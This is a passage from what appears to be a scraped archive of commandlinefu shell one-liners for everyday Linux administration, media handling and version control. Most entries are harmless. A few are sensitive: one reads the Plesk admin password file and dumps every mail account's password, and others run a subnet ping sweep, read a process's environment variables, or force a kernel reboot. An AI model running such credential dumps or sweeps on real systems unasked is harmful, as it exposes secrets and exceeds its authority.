  5555. beepwhenup () { echo 'Enter host you want to ping:'; read PHOST; if [[ "$PHOST" == "" ]]; then exit; fi; while true; do ping -c1 -W2 $PHOST 2>&1 >/dev/null; if [[ "$?" == "0" ]]; then for j in $(seq 1 4); do beep; done; ping -c1 $PHOST; break; fi; done; }
  5556.  
  5557. # Sum size of files returned from FIND
  5558. find [path] [expression] -exec du -ab {} \; | awk '{total+=$0}END{print total}'
  5559.  
  5560. # record the input of your sound card into ogg file
  5561. rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg
  5562.  
  5563. # Test a serial connection
  5564. host A: cat /proc/dev/ttyS0 host B: echo hello > /dev/ttyS0
  5565.  
  5566. # Show current pathname in title of terminal
  5567. export PROMPT_COMMAND='echo -ne "\033]0;${PWD/#$HOME/~}\007";'
  5568.  
  5569. # print all except first collumn
  5570. cut -f 2- -d " "
  5571.  
  5572. # Search for a <pattern> string inside all files in the current directory
  5573. find . -type f -exec grep -i <pattern> \;
  5574.  
  5575. # Find and display most recent files using find and perl
  5576. find $HOME -type f -print0 | perl -0 -wn -e '@f=<>; foreach $file (@f){ (@el)=(stat($file)); push @el, $file; push @files,[ @el ];} @o=sort{$a->[9]<=>$b->[9]} @files; for $i (0..$#o){print scalar localtime($o[$i][9]), "\t$o[$i][-1]\n";}'|tail
  5577.  
  5578. # create SQL-statements from textfile with awk
  5579. $ awk '{printf "select * from table where id = %c%s%c;\n",39,$1,39; }' inputfile.txt
  5580.  
  5581. # Send a local file via email
  5582. cat filename | mail -s "Email subject" user@example.com
  5583.  
  5584. # Track X Window events in chosen window
  5585. xev -id `xwininfo | grep 'Window id' | awk '{print $4}'`
  5586.  
  5587. # Test file system performance
  5588. bonnie++ -n 0 -u 0 -r <physical RAM> -s <2 x physical ram> -f -b -d <mounted disck>
  5589.  
  5590. # (Git) Revert files with changed mode, not content
  5591. git diff --numstat | awk '{if ($1 == "0" && $1 == "0") print $3}' | xargs git checkout HEAD
  5592.  
  5593. # Instant mirror from your laptop + webcam
  5594. mplayer tv:// -vf mirror
  5595.  
  5596. # Instant mirror from your laptop + webcam
  5597. cvlc v4l2:// :vout-filter=transform :transform-type=vflip :v4l2-width=320 :v4l2-height=240 -f &
  5598.  
  5599. # Shorten any Url using bit.ly API, using your API Key which enables you to Track Clicks
  5600. curl "http://api.bit.ly/shorten?version=2.0.1&longUrl=<LONG_URL_YOU_WANT_SHORTENED>&login=<YOUR_BITLY_USER_NAME>&apiKey=<YOUR_API_KEY>"
  5601.  
  5602. # Archive all SVN repositories in platform indepenent form
  5603. budir=/tmp/bu.$$;for name in repMainPath/*/format;do dir=${name%/format};bufil=dumpPath/${dir##*/};svnadmin hotcopy --clean-logs $dir $budir;svnadmin dump --delta $budir>$bufil;rm -rf $budir;done
  5604.  
  5605. # Archive all SVN repositories in platform indepenent form
  5606. find repMainPath -maxdepth 1 -mindepth 1 -type d | while read dir; do echo processing $dir; sudo svnadmin dump --deltas $dir >dumpPath/`basename $dir`; done
  5607.  
  5608. # Record audio and video from webcam using ffmpeg
  5609. ffmpeg -f alsa -r 16000 -i hw:2,0 -f video4linux2 -s 800x600 -i /dev/video0 -r 30 -f avi -vcodec mpeg4 -vtag xvid -sameq -acodec libmp3lame -ab 96k output.avi
  5610.  
  5611. # Setting reserved blocks percentage to 1%
  5612. sudo tune2fs -m 1 /dev/sda4
  5613.  
  5614. # preprocess code to be posted in comments on this site
  5615. sed 's/^/$ /' "$script" | xclip
  5616.  
  5617. # List symbols from a dynamic library (.so file)
  5618. nm --dynamic <libfile.so>
  5619.  
  5620.  
  5621.  
  5622. # send echo to socket network
  5623. echo foo | netcat 192.168.1.2 25
  5624.  
  5625. # Display the standard deviation of a column of numbers with awk
  5626. awk '{delta = $1 - avg; avg += delta / NR; mean2 += delta * ($1 - avg); } END { print sqrt(mean2 / NR); }'
  5627.  
  5628. # Convert a flv video file to avi using mencoder
  5629. mencoder -oac mp3lame -lameopts cbr=128 -ovc xvid -xvidencopts bitrate=1200 inputfile.rmvb -o output.avi
  5630.  
  5631. # Compute running average for a column of numbers
  5632. awk '{avg += ($1 - avg) / NR;} END { print avg; }'
  5633.  
  5634. # Route outbound SMTP connections through a addtional IP address rather than your primary
  5635. iptables -t nat -A POSTROUTING -p tcp --dport 25 -j SNAT --to-source IP_TO_ROUTE_THROUGH
  5636.  
  5637. # Check if x509 certificate file and rsa private key match
  5638. diff <(openssl x509 -noout -modulus -in server.crt ) <( openssl rsa -noout -modulus -in server.key )
  5639.  
  5640. # Detect encoding of a text file
  5641. file -i <textfile>
  5642.  
  5643. # Clone IDE Hard Disk
  5644. sudo dd if=/dev/hda1 of=/dev/hdb2
  5645.  
  5646. # Send a signed and encrypted email from the command line
  5647. echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail USER@DOMAIN.COM
  5648.  
  5649. # get colorful side-by-side diffs of files in svn with vim
  5650. vimdiff <(svn cat "$1") "$1"
  5651.  
  5652. # fetch all revisions of a specific file in an SVN repository
  5653. svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s
  5654.  
  5655. # Ultimate current directory usage command
  5656. du -a --max-depth=1 | sort -n | cut -d/ -f2 | sed '$d' | while read i; do if [ -f $i ]; then du -h "$i"; else echo "$(du -h --max-depth=0 "$i")/"; fi; done
  5657.  
  5658. # Start a terminal with three open tabs
  5659. gnome-terminal --tab --tab --tab
  5660.  
  5661. # Edit all files found having a specific string found by grep
  5662. grep -Hrli 'foo' * | xargs vim
  5663.  
  5664. # floating point operations in shell scripts
  5665. bc -l <<< s(3/5)
  5666.  
  5667. # Reinstall Grub
  5668. sudo grub-install --recheck /dev/sda1
  5669.  
  5670. # Print all fields in a file/output from field N to the end of the line
  5671. cut -f N- file.dat
  5672.  
  5673. # convert mp3 into mb4 (audiobook format)
  5674. mpg123 -s input.mp3 | faac -b 80 -P -X -w -o output.m4b -
  5675.  
  5676. # A snooze button for xmms2 alarm clock
  5677. xmms2 pause && echo "xmms2 play" | at now +5min
  5678.  
  5679. # dstat- this command is powerful one to monitor system activity . It has combined the power of vmstat,iostat,mpstat,df,free,sar .
  5680. dstat -afv
  5681.  
  5682. # get diskusage of files modified during the last n days
  5683. sudo find /var/log/ -mtime -7 -type f | xargs du -ch | tail -n1
  5684.  
  5685. # Download entire commandlinefu archive to single file
  5686. for x in `seq 0 25 $(curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1)`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > a.txt
  5687.  
  5688. # Debian: Mark all dependent packages as manualy installed.
  5689. sudo aptitude unmarkauto $(apt-cache depends some-deb-meta-package-name | grep Depends | cut -d: -f2)
  5690.  
  5691. # An alarm clock using xmms2 and at
  5692. echo "xmms2 play" | at 6:00
  5693.  
  5694. # Parallel mysql dump restore
  5695. find -print0 | xargs -0 -n 1 -P 4 -I {} sh -c "zcat '{}' | mysql nix"
  5696.  
  5697.  
  5698.  
  5699. # convert strings toupper/tolower with tr
  5700. echo "aBcDeFgH123" | tr a-z A-Z
  5701.  
  5702. # resume scp-filetransfer with rsync
  5703. rsync --partial --progress --rsh=ssh user@host:remote-file local-file
  5704.  
  5705. # Unaccent an entire directory tree with files.
  5706. find /dir | awk '{print length, $0}' | sort -nr | sed 's/^[[:digit:]]* //' | while read dirfile; do outfile="$(echo "$(basename "$dirfile")" | unaccent UTF-8)"; mv "$dirfile" "$(dirname "$dirfile")/$outfile"; done
  5707.  
  5708. # Make a ready-only filesystem ?writeable? by unionfs
  5709. mount -t unionfs -o dirs=/tmp/unioncache=rw:/mnt/readonly=ro unionfs /mnt/unionfs
  5710.  
  5711. # Verbosely delete files matching specific name pattern, older than 15 days.
  5712. rm -vf /backup/directory/**/FILENAME_*(m+15)
  5713.  
  5714. # Ping sweep without NMAP
  5715. for i in `seq 1 255`; do ping -c 1 10.10.10.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done
  5716.  
  5717. # Show account security settings
  5718. chage -l <user>
  5719.  
  5720. # Search for an active process without catching the search-process
  5721. ps -ef | awk '/process-name/ && !/awk/ {print}'
  5722.  
  5723. # Read aloud a text file in Ubuntu (and other Unixes with espeak installed
  5724. espeak -f text.txt
  5725.  
  5726. # Read aloud a text file in Mac OS X
  5727. say -f file.txt
  5728.  
  5729. # diff will usually only take one file from STDIN. This is a method to take the result of two streams and compare with diff. The example I use to compare two iTunes libraries but it is generally applicable.
  5730. diff <(cd /path-1; find . -type f -print | egrep -i '\.m4a$|\.mp3$') <(cd /path-2; find . f -print | egrep -i '\.m4a$|\.mp3$')
  5731.  
  5732. # total text files in current dir
  5733. file -i * | grep -c 'text/plain'
  5734.  
  5735. # Compress blank lines in VIM
  5736. :g/^\s*$/,/\S/-j|s/.*//
  5737.  
  5738. # Lists the size of certain file in every 10 seconds
  5739. watch -n 10 'du -sk testfile'
  5740.  
  5741. # show the real times iso of epochs for a given column
  5742. perl -F' ' -MDate::Format -pale 'substr($_, index($_, $F[1]), length($F[1]), time2str("%C", $F[1]))' file.log
  5743.  
  5744. # Preview of a picture in a terminal
  5745. img test.jpg
  5746.  
  5747. # Get info on RAM Slots and Max RAM.
  5748. dmidecode 2.9 | grep "Maximum Capacity"; dmidecode -t 17 | grep Size
  5749.  
  5750. # Sum columns from CSV column $COL
  5751. perl -F',' -ane '$a += $F[3]; END { print $a }' test.csv
  5752.  
  5753. # Testing php configuration
  5754. php -r phpinfo();
  5755.  
  5756. # Count the number of pages of all PDFs in current directory and all subdirs, recursively
  5757. find . -name \*.pdf -exec pdfinfo {} \; | grep Pages | sed -e "s/Pages:\s*//g" | awk '{ sum += $1;} END { print sum; }'
  5758.  
  5759. # Replace Every occurrence of a word in a file
  5760. perl -p -i -e 's/this/that/g' filename
  5761.  
  5762. # Update program providing java on Debian
  5763. update-java-alternatives
  5764.  
  5765. # Get a list of all your VirtualBox virtual machines by name and UUID from the shell
  5766. VBoxManage list vms
  5767.  
  5768. # run a VirtualBox virtual machine without a gui
  5769. VBoxHeadless -s <name|uuid>
  5770.  
  5771. # Generate random password
  5772. randpw(){ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;}
  5773.  
  5774.  
  5775.  
  5776. # Get your internal IP address and nothing but your internal IP address
  5777. ifconfig $devices | grep "inet addr" | sed 's/.*inet addr:\([0-9\.]*\).*/\1/g'
  5778.  
  5779. # Delete empty directories with zsh
  5780. rm -d **/*(/^F)
  5781.  
  5782. # Tweet from Terminal to twitter !
  5783. curl -u yourusername:yourpassword -d status=?Your Message Here? https://twitter.com/statuses/update.xml
  5784.  
  5785. # Quick key/value display within /proc or /sys
  5786. grep -r . /sys/class/net/eth0/statistics
  5787.  
  5788. # Use Linux coding style in C program
  5789. indent -linux helloworld.c
  5790.  
  5791. # echo something backwards
  5792. echo linux|rev
  5793.  
  5794. # Nicely display permissions in octal format with filename
  5795. stat -f '%Sp %p %N' * | rev | sed -E 's/^([^[:space:]]+)[[:space:]]([[:digit:]]{4})[^[:space:]]*[[:space:]]([^[:space:]]+)/\1 \2 \3/' | rev
  5796.  
  5797. # Delete all aliases for a network interface on a (Free)BSD system
  5798. ifconfig | grep "0xffffffff" | awk '{ print $2 }' | xargs -n 1 ifconfig em0 delete
  5799.  
  5800. # Show log message including which files changed for a given commit in git.
  5801. git --no-pager whatchanged -1 --pretty=medium <commit_hash>
  5802.  
  5803. # Copy with progress
  5804. copy(){ cp -v "$1" "$2"&watch -n 1 'du -h "$1" "$2";printf "%s%%\n" $(echo `du -h "$2"|cut -dG -f1`/0.`du -h "$1"|cut -dG -f1`|bc)';}
  5805.  
  5806. # Grab all .flv files from a webpage to the current working directory
  5807. wget `lynx -dump http://www.ebow.com/ebowtube.php | grep .flv$ | sed 's/[[:blank:]]\+[[:digit:]]\+\. //g'`
  5808.  
  5809. # from the console, start a second X server
  5810. xinit -- :1
  5811.  
  5812. # cooking a list of numbers for calculation
  5813. echo $( du -sm /var/log/* | cut -f 1 ) | sed 's/ /+/g'
  5814.  
  5815. # Force hard reset on server
  5816. echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
  5817.  
  5818. # ISO info
  5819. isoinfo -d -i filename.iso
  5820.  
  5821. # rename a file to its md5sum
  5822. md5sum * | sed 's/^\(\w*\)\s*\(.*\)/\2 \1/' | while read LINE; do mv $LINE; done
  5823.  
  5824. # Make shell (script) low priority. Use for non interactive tasks
  5825. renice 19 -p $$
  5826.  
  5827. # Mount iso to /mnt on Solaris
  5828. mount -F hsfs -o ro `lofiadm -a /sol-10-u7-ga-sparc-dvd.iso` /mnt
  5829.  
  5830. # Make ogg file from wav file
  5831. oggenc --tracknum='track' track.cdda.wav -o 'track.ogg'
  5832.  
  5833. # Buffer in order to avoir mistakes with redirections that empty your files
  5834. buffer () { tty -s && return; tmp=$(mktemp); cat > "${tmp}"; if [ -n "$1" ] && ( ( [ -f "$1" ] && [ -w "$1" ] ) || ( ! [ -a "$1" ] && [ -w "$(dirname "$1")" ] ) ); then mv -f "${tmp}" "$1"; else echo "Can't write in \"$1\""; rm -f "${tmp}"; fi }
  5835.  
  5836. # Change to $HOME - zsh, bash4
  5837. ~
  5838.  
  5839. # Run skype using your GTK theme
  5840. skype --disable-cleanlooks -style GTK
  5841.  
  5842. # Pick a random line from a file
  5843. sort -R file.txt | head -1
  5844.  
  5845. # Simple XML tag extract with sed
  5846. sed -n 's/.*<foo>\([^<]*\)<\/foo>.*/\1/p'
  5847.  
  5848. # Display screen window number in prompt
  5849. [[ "$WINDOW" ]] && PS1="\u@\h:\w[$WINDOW]\$ "
  5850.  
  5851.  
  5852.  
  5853. # Convert numbers to SI notation
  5854. $ awk '{ split(sprintf("%1.3e", $1), b, "e"); p = substr("yzafpnum_kMGTPEZY", (b[2]/3)+9, 1); o = sprintf("%f", b[1] * (10 ^ (b[2]%3))); gsub(/\./, p, o); print substr( gensub(/_[[:digit:]]*/, "", "g", o), 1, 4); }' < test.dat
  5855.  
  5856. # get delicious bookmarks on your shell (text version :-))
  5857. curl -u 'username' https://api.del.icio.us/v1/posts/all | sed 's/^.*href=//g;s/>.*$//g;s/"//g' | awk '{print $1}' | grep 'http'
  5858.  
  5859. # Matrix Style
  5860. while true ; do IFS="" read i; echo "$i"; sleep .01; done < <(tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]")
  5861.  
  5862. # restart apache only if config works
  5863. alias restart='apache2ctl configtest && apache2ctl restart'
  5864.  
  5865. # List apache2 virtualhosts
  5866. /usr/sbin/apache2ctl -S 2>&1 | perl -ne 'm@.*port\s+([0-9]+)\s+\w+\s+(\S+)\s+\((.+):.*@ && do { print "$2:$1\n\t$3\n"; $root = qx{grep DocumentRoot $3}; $root =~ s/^\s+//; print "\t$root\n" };'
  5867.  
  5868. # OSX command to take badly formatted xml from the clipboard, cleans it up and puts it back into the clipboard.
  5869. pbpaste | tidy -xml -wrap 0 | pbcopy
  5870.  
  5871. # this toggles mute on the Master channel of an alsa soundcard
  5872. amixer sset Master toggle
  5873.  
  5874. # whois surfing my web ?
  5875. watch lsof -i :80
  5876.  
  5877. # Single Line Twitter-Tracker
  5878. WRDS="word1 word2 wordN"; while [ 1 ];do curl -s http://twitter.com/statuses/public_timeline.rss |grep '<description>' |cut -d '>' -f 2 |cut -d '<' -f 1 > .twitt.tmp && for word in $WRDS;do grep --color=auto -i $word .twtt.tmp;done;sleep 300;done
  5879.  
  5880. # git remove files which have been deleted
  5881. git ls-files -z --deleted | xargs -0 git rm
  5882.  
  5883. # find out which directories in /home have the most files currently open
  5884. lsof |awk ' {if ( $0 ~ /home/) print substr($0, index($0,"/home") ) }'|cut -d / -f 1-4|sort|uniq -c|sort -bgr
  5885.  
  5886. # Hear the mice moving
  5887. while true; do beep -l66 -f`head -c2 /dev/input/mice|hexdump -d|awk 'NR==1{print $2%10000}'`; done
  5888.  
  5889. # write text or append to a file
  5890. cat <<.>> somefilename
  5891.  
  5892. # Printing multiple years with Unix cal command
  5893. for y in $(seq 2009 2011); do cal $y; done
  5894.  
  5895. # Alternative size (human readable) of files and directories (biggest last)
  5896. du -ms * | sort -nk1
  5897.  
  5898. # cat large file to clipboard with speed-o-meter
  5899. pv large.xml | xclip
  5900.  
  5901. # Remove annoying files from recently extracted zip archive
  5902. unzip -lt foo.zip | grep testing | awk '{print $2}' | xargs rm -r
  5903.  
  5904. # Puts every word from a file into a new line
  5905. tr ' \t' '\n' <INFILE >OUTFILE
  5906.  
  5907. # find files larger than 1 GB, everywhere
  5908. find / -type f -size +1000000000c
  5909.  
  5910. # Resume an emerge, and keep all object files that are already built
  5911. FEATURES=keepwork emerge --resume
  5912.  
  5913. # Throttling Bandwidth On A Mac
  5914. sudo ipfw pipe 1 config bw 50KByte/s;sudo ipfw add 1 pipe 1 src-port 80
  5915.  
  5916. # Dump the root directory to an external hard drive
  5917. dump -0 -M -B 4000000 -f /media/My\ Passport/Fedora10bckup/root_dump_fedora -z2 /
  5918.  
  5919. # Using netcat to copy files between servers
  5920. On target: "nc -l 4000 | tar xvf -" On source: "tar -cf - . | nc target_ip 4000"
  5921.  
  5922. # Dump a configuration file without comments or whitespace...
  5923. grep -v "\ *#\|^$" /etc/path/to.config
  5924.  
  5925. # c_rehash replacement
  5926. for file in *.pem; do ln -s $file `openssl x509 -hash -noout -in $file`.0; done
  5927.  
  5928.  
  5929.  
  5930. # Check if filesystem hangs
  5931. ls /mnt/badfs &
  5932.  
  5933. # Trim linebreaks
  5934. cat myfile.txt | tr -d '\n'
  5935.  
  5936. # SVN Status log to CSV
  5937. svn log | tr -d '\n' | sed -r 's/-{2,}/\n/g' | sed -r 's/ \([^\)]+\)//g' | sed -r 's/^r//' | sed -r "s/[0-9]+ lines?//g" | sort -g
  5938.  
  5939. # Monitor RX/TX packets and any subsquent errors
  5940. watch 'netstat -aniv'
  5941.  
  5942. # Most simple way to get a list of open ports
  5943. netstat -lnp
  5944.  
  5945. # Merge several pdf files into a single file
  5946. pdftk $* cat output $merged.pdf
  5947.  
  5948. # Get lines count of a list of files
  5949. find . -name "*.sql" -print0 | wc -l --files0-from=-
  5950.  
  5951. # Given application name print its environment variables
  5952. sudo sed 's/\o0/\n/g' "/proc/$(pidof -x firefox)/environ" ;# replace firefox
  5953.  
  5954. # Deleting Files from svn which are missing
  5955. svn status | grep '!' | sed 's/!/ /' | xargs svn del --force
  5956.  
  5957. # Record a webcam output into a video file.
  5958. ffmpeg -an -f video4linux -s 320x240 -b 800k -r 15 -i /dev/v4l/video0 -vcodec mpeg4 myvideo.avi
  5959.  
  5960. # %s across multiple files with Vim
  5961. :set nomore :argdo %s/foo/bar/g | update
  5962.  
  5963. # import gpg key from the web
  5964. curl -s http://defekt.nl/~jelle/pubkey.asc | gpg --import
  5965.  
  5966. # Give any files that don't already have it group read permission under the current folder (recursive)
  5967. find . -type f ! -perm /g=r -exec chmod g+r {} +
  5968.  
  5969. # Recursive cat - concatenate files (filtered by extension) across multiple subdirectories into one file
  5970. find . -type f -name *.ext -exec cat {} > file.txt \;
  5971.  
  5972. # Lists unambigously names of all xml elements used in files in current directory
  5973. grep -h -o '<[^/!?][^ >]*' * | sort -u | cut -c2-
  5974.  
  5975. # Search and replace text in all php files with ruby
  5976. ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php
  5977.  
  5978. # Do quick arithmetic on numbers from STDIN with any formatting using a perl one liner.
  5979. perl -ne '$sum += $_ for grep { /\d+/ } split /[^\d\-\.]+/; print "$sum\n"'
  5980.  
  5981. # extract all urls from firefox sessionstore
  5982. sed -e "s/\[{/\n/g" -e "s/}, {/\n/g" sessionstore.js | grep url | awk -F"," '{ print $1 }'| sed -e "s/url:\"\([^\"]*\)\"/\1/g" -e "/^about:blank/d" > session_urls.txt
  5983.  
  5984. # Show all usernames and passwords for Plesk email addresses
  5985. mysql -uadmin -p` cat /etc/psa/.psa.shadow` -Dpsa -e"select mail_name,name,password from mail left join domains on mail.dom_id = domains.id inner join accounts where mail.account_id = accounts.id;"
  5986.  
  5987. # Display or use a random file from current directory via a small bash one-liner
  5988. $ i=(*);echo ${i[RANDOM%(${#i[@]}+1)]]}
  5989.  
  5990. # Convert AVI to iPhone MP4
  5991. ffmpeg -i [source].avi -f mp4 -vcodec mpeg4 -b 250000 -s 480?320 -acodec aac -ar 24000 -ab 64 -ac 2 [destination].mp4
  5992.  
  5993. # Monitoring wifi connection by watch command (refresh every 3s), displaying iw dump info and iwconfig on wireless interface "wlan0"
  5994. watch -d -n 3 "iw dev wlan0 station dump; iwconfig wlan0"
  5995.  
  5996. # swap stdout and stderr
  5997. $command 3>&1 1>&2 2>&3
  5998.  
  5999. # ncdu - ncurses disk usage
  6000. ncdu directory_name
  6001.  
  6002. # Run a bash script in debug mode, show output and save it on a file
  6003. bash -x script.sh 2> log
  6004.  
  6005.  
  6006.  
  6007. # files and directories in the last 1 hour
  6008. find ./* -ctime -1 | xargs ls -ltr --color
  6009.  
  6010. # Non Numeric Check
  6011. if [ -z $(echo $var | grep [0-9]) ]; then echo "NON NUMERIC"; fi
  6012.  
  6013. # Find chronological errors or bad timestamps in a Subversion repository
  6014. URL=http://svn.example.org/project; diff -u <(TZ=UTC svn -q log -r1:HEAD $URL | grep \|) <(TZ=UTC svn log -q $URL | grep \| | sort -k3 -t \|)
  6015.  
  6016. # resolve hostname to IP our vice versa with less output
  6017. resolveip -s www.freshmeat.net
  6018.  
  6019. # Remove all mail in Postfix mail queue.
  6020. postsuper -d ALL
  6021.  
  6022. # Scrollable Colorized Long Listing - Hidden Files Sorted Last
  6023. less -Rf <( cat <(ls -l --color=always) <(ls -ld --color=always .*) )
  6024.  
  6025. # Awk: Perform a rolling average on a column of data
  6026. awk 'BEGIN{size=5} {mod=NR%size; if(NR<=size){count++}else{sum-=array[mod]};sum+=$1;array[mod]=$1;print sum/count}' file.dat
  6027.  
  6028. # grep across a git repo and open matching files in gedit
  6029. git grep -l "your grep string" | xargs gedit
  6030.  
  6031. # Replace all tabs with spaces in an application
  6032. grep -PL "\t" -r . | grep -v ".svn" | xargs sed -i 's/\t/ /g'
  6033.  
  6034. # Convert string to uppercase
  6035. echo string | tr '[:lower:]' '[:upper:]'
  6036.  
  6037. # List of directories sorted by number of files they contain.
  6038. sort -n <( for i in $(find . -maxdepth 1 -mindepth 1 -type d); do echo $(find $i | wc -l) ": $i"; done;)
  6039.  
  6040. # fetch all revisions of a specific file in an SVN repository
  6041. svn log fileName|cut -d" " -f 1|grep -e "^r[0-9]\{1,\}$"|awk {'sub(/^r/,"",$1);print "svn cat fileName@"$1" > /tmp/fileName.r"$1'}|sh
  6042.  
  6043. # mplayer -af scaletempo
  6044. mplayer -af scaletempo -speed 1.5 file.avi
  6045.  
  6046. # extracting audio and video from a movie
  6047. ffmpeg -i source_movie.flv -vcodec mpeg2video target_video.m2v -acodec copy target_audio.mp3
  6048.  
  6049. # Extract track 9 from a CD
  6050. mplayer -fs cdda://9 -ao pcm:file=track9.wav
  6051.  
  6052. # Word-based diff on reformatted text files
  6053. diff -uw <(fmt -1 {file1, file2})
  6054.  
  6055. # Getting Screen's Copy Buffer Into X's Copy Buffer (on Linux)
  6056. Type "c-a b" in gnu screen after updating your .screenrc (See Description below).
  6057.  
  6058. # using scanner device from command line
  6059. scanimage -d mustek_usb --resolution 100 --mode Color > image.pnm
  6060.  
  6061. # reduce mp3 bitrate (and size, of course)
  6062. lame --mp3input -m m --resample 24 input.mp3
  6063.  
  6064. # extract audio from flv to mp3
  6065. ffmpeg -i input.flv -f mp3 -vn -acodec copy ouput.mp3
  6066.  
  6067. # Lists the supported memory types and how much your board can support.
  6068. sudo dmidecode -t 5,16
  6069.  
  6070. # Update a tarball
  6071. tar -tf file.tar | tar -T - -uf file.tar
  6072.  
  6073. # get a process list by listen port
  6074. netstat -ntlp | grep 80 | awk '{print $7}' | cut -d/ -f1
  6075.  
  6076. # find string into one pdf file
  6077. find / -iname '*.pdf' -print -exec pdftotext '{}' - \; | grep --color -i "unix"
  6078.  
  6079. # user 'tr' to convert mixed case in a file to lower case
  6080. tr "[:upper:]" "[:lower:]" < file
  6081.  
  6082.  
  6083.  
  6084. # Backup your OpenWRT config (only the config, not the whole system)
  6085. curl -d 'username=root&password=your-good-password' "http://router/cgi-bin/luci/admin/system/backup?backup=kthxbye" > `date +%Y%d%m`_config_backup.tgz
  6086.  
  6087. # Email HTML content
  6088. mailx bar@foo.com -s "HTML Hello" -a "Content-Type: text/html" < body.htm
  6089.  
  6090. # convert all files in a dir of a certain type to flv
  6091. for f in *.m4a; do ffmpeg -i "$f" "${f%.m4a}.flv"; done
  6092.  
  6093. # Validate date, also a date within a leap year
  6094. date -d2009-05-18 > /dev/null 2>&1 ; echo $?
  6095.  
  6096. # remove audio trac from a video file
  6097. mencoder -ovc copy -nosound ./movie.mov -o ./movie_mute.mov
  6098.  
  6099. # copies 20 most recently downloaded mp3 files (such as from Miro) into a directory
  6100. find . -name \*.mp3 -printf "%C+ %h/%f\n" | sort -r | head -n20 | awk '{print "\""$2"\""}' | xargs -I {} cp {} ~/tmp
  6101.  
  6102. # Updating the status on identi.ca using curl.
  6103. curl -u USER:PASS -d status="NEW STATUS" http://identi.ca/api/statuses/update.xml
  6104.  
  6105. # Make a directory named with the current date
  6106. mkdir `date --iso`
  6107.  
  6108. # Duplicating service runlevel configurations from one server to another.
  6109. chkconfig --list | fgrep :on | sed -e 's/\(^.*\)*0:off/\1:/g' -e 's/\(.\):on/\1/g' -e 's/.:off//g' | tr -d [:blank:] | awk -F: '{print$2,$1}' | ssh host 'cat > foo'
  6110.  
  6111. # add files to existing growable DVD using growisofs
  6112. growisofs -M /dev/dvd -J -r "directory name with files to add to DVD"
  6113.  
  6114. # Find and delete oldest file of specific types in directory tree
  6115. find / \( -name "*.log" -o -name "*.mylogs" \) -exec ls -lrt {} \; | sort -k6,8 | head -n1 | cut -d" " -f8- | tr -d '\n' | xargs -0 rm
  6116.  
  6117. # Remove all backup files in my home directory
  6118. find ~user/ -name "*~" -exec rm {} \;
  6119.  
  6120. # Get an IP address out of fail2ban jail
  6121. iptables -D fail2ban-SSH -s <ip_address_to_be_set_free> -j DROP
  6122.  
  6123. # Safe Delete
  6124. shred -n33 -zx file; rm file
  6125.  
  6126. # Search for files older than 30 days in a directory and list only their names not the full path
  6127. find /var/www/html/ -type f -mtime +30 -exec basename {} \;
  6128.  
  6129. # split source code to page with numbers
  6130. pr -l 40 bitree.c > printcode; split -40 printcode -d page_
  6131.  
  6132. # Pick a random image from a directory (and subdirectories) every thirty minutes and set it as xfce4 wallpaper
  6133. while true; do xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s "$(find <image-directory> -type f -iregex '.*\.\(bmp\|gif\|jpg\|png\)$' | sort -R | head -1)"; sleep 30m; done
  6134.  
  6135. # Change wallpaper for xfce4 >= 4.6.0
  6136. xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s <image-file>
  6137.  
  6138. # Prevent non-root users from logging in
  6139. touch /etc/nologin
  6140.  
  6141. # Display time of accounts connection on a system
  6142. ac -p
  6143.  
  6144. # Change Gnome wallpaper
  6145. gconftool-2 -t string -s /desktop/gnome/background/picture_filename <path_to_image>
  6146.  
  6147. # Split lossless audio (ape, flac, wav, wv) by cue file
  6148. cuebreakpoints <cue file> | shnsplit -o <lossless audio type> <audio file>
  6149.  
  6150. # Connect to all running screen instances
  6151. for i in `screen -ls | perl -ne'if(/^\s+\d+\.([^\s]+)/){print $1, " "}'`; do gnome-terminal -e "screen -x $i"; done
  6152.  
  6153. # compare two Microsoft Word documents
  6154. meld <(antiword microsoft_word_a.doc) <(antiword microsoft_word_b.doc)
  6155.  
  6156. # Mount important virtual system directories under chroot'ed directory
  6157. for i in sys dev proc; do sudo mount --bind /$i /mnt/xxx/$i; done
  6158.  
  6159.  
  6160.  
  6161. # Set Time Zone in Ubuntu
  6162. sudo dpkg-reconfigure tzdata
  6163.  
  6164. # Burn CD/DVD from an iso, eject disc when finished.
  6165. cdrecord dev=0,0,0 -v -eject yourimage.iso
  6166.  
  6167. # convert plain .avi movies to .mpeg
  6168. ffmpeg -i movie.avi -y -f vcd -vcodec mpeg1video -map 0.0:0.0 -b 1150 -s 352x240 -r 29.97 -g 12 -qmin 3 -qmax 13 -acodec mp2 -ab 224 -ar 44100 -ac 2 -map 0.1:0.1 movie.mpg
  6169.  
  6170. # Summarise the size of all files matching a simple regex
  6171. find /path/to/my/files/ -type f -name "*txt*" | xargs du -k | awk 'BEGIN{x=0}{x=x+$1}END{print x}'
  6172.  
  6173. # Recursively Add Changed Files to Subversion
  6174. svn status | grep "^\?" | awk '{print $2}' | xargs svn add
  6175.  
  6176. # Root shell
  6177. sudo -i
  6178.  
  6179. # Remove all hidden files in a directory
  6180. rm -r .??*
  6181.  
  6182. # Prints any IP out of a file
  6183. perl -ne 'while (/([0-9]+\.){3}[0-9]+/g) {print "$&\n"};' file.txt
  6184.  
  6185. # Dump HTTP header using wget
  6186. wget --server-response --spider http://www.example.com/
  6187.  
  6188. # backup your entire hosted website using cPanel backup interface and wget
  6189. wget --http-user=YourUsername --http-password=YourPassword http://YourWebsiteUrl:2082/getbackup/backup-YourWebsiteUrl-`date +"%-m-%d-%Y"`.tar.gz
  6190.  
  6191. # Copy input sent to a command to stderr
  6192. rev <<< 'lorem ipsum' | tee /dev/stderr | rev
  6193.  
